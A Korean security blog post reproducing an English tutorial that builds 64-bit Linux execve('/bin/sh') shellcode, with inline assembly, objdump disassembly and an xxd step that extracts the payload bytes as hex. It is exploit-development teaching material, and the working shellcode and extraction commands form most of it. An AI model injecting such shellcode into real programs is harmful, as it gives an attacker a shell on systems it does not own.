2015. 12. 21. 15:12

멍청하게 손으로 쉘코드를 일일이 치지말자 


Some assembly required

We begin our journey by writing assembly to launch a shell via the execve system call.

For backwards compatibility, 32-bit Linux system calls are supported in 64-bit Linux, so we might think we can reuse shellcode targeted for 32-bit systems. However, the execve syscall takes a memory address holding the NUL-terminated name of the program that should be executed. Our shellcode might be injected someplace that requires us to refer to memory addresses larger than 32 bits. Thus we must use 64-bit system calls.

The following may aid those accustomed to 32-bit assembly.

32-bit syscall64-bit syscall

instruction

int $0x80

syscall

syscall number

EAX, e.g. execve = 0xb

RAX, e.g. execve = 0x3b

up to 6 inputs

EBX, ECX, EDX, ESI, EDI, EBP

RDI, RSI, RDX, R10, R8, R9

over 6 inputs

in RAM; EBX points to them

forbidden

example

mov $0xb, %eax
lea string_addr, %ebx
mov $0, %ecx
mov $0, %edx
int $0x80
mov $0x3b, %rax
lea string_addr, %rdi
mov $0, %rsi
mov $0, %rdx
syscall

We inline our assembly code in a C file, which we call shell.c:

int main() {
  asm("\
needle0: jmp there\n\
here:    pop %rdi\n\
         xor %rax, %rax\n\
         movb $0x3b, %al\n\
         xor %rsi, %rsi\n\
         xor %rdx, %rdx\n\
         syscall\n\
there:   call here\n\
.string \"/bin/sh\"\n\
needle1: .octa 0xdeadbeef\n\
  ");
}

No matter where in memory our code winds up, the call-pop trick will load the RDI register with the address of the "/bin/sh" string.

The needle0 and needle1 labels are to aid searches later on; so is the0xdeadbeef constant (though since x86 is little-endian, it will show up as EF BE AD DE followed by 4 zero bytes).

For simplicity, we’re using the API incorrectly; the second and third arguments to execve are supposed to point to NULL-terminated arrays of pointers to strings (argv[] and envp[]). However, our system is forgiving: running "/bin/sh" with NULL argv and envp succeeds:

ubuntu:~$ gcc shell.c
ubuntu:~$ ./a.out
$

In any case, adding argv and envp arrays is straightforward.

The shell game

We extract the payload we wish to inject. Let’s examine the machine code:

$ objdump -d a.out | sed -n '/needle0/,/needle1/p'
00000000004004bf <needle0>:
  4004bf:       eb 0e                   jmp    4004cf <there>

00000000004004c1 <here>:
  4004c1:       5f                      pop    %rdi
  4004c2:       48 31 c0                xor    %rax,%rax
  4004c5:       b0 3b                   mov    $0x3b,%al
  4004c7:       48 31 f6                xor    %rsi,%rsi
  4004ca:       48 31 d2                xor    %rdx,%rdx
  4004cd:       0f 05                   syscall

00000000004004cf <there>:
  4004cf:       e8 ed ff ff ff          callq  4004c1 <here>
  4004d4:       2f                      (bad)
  4004d5:       62                      (bad)
  4004d6:       69 6e 2f 73 68 00 ef    imul   $0xef006873,0x2f(%rsi),%ebp

00000000004004dc <needle1>:

On 64-bit systems, the code segment is usually placed at 0x400000, so in the binary, our code lies starts at offset 0x4bf and finishes right before offset 0x4dc. This is 29 bytes:

$ echo $((0x4dc-0x4bf))
29

We round this up to the next multiple of 8 to get 32, then run:

$ xxd -s0x4bf -l32 -p a.out shellcode

Let’s take a look:

$ cat shellcode
eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef
bead


'System_Hacking' 카테고리의 다른 글

SPI 통신으로 firmware dump 뜨기  (0) 2016.02.21
QEMU 돌릴때 포트포워딩 옵션  (0) 2016.02.21
call, leave, ret assembly  (0) 2015.09.11
Android stageFright RCE exploit  (0) 2015.09.10
ARM32 netcat static compile  (0) 2015.09.02
Posted by k1rha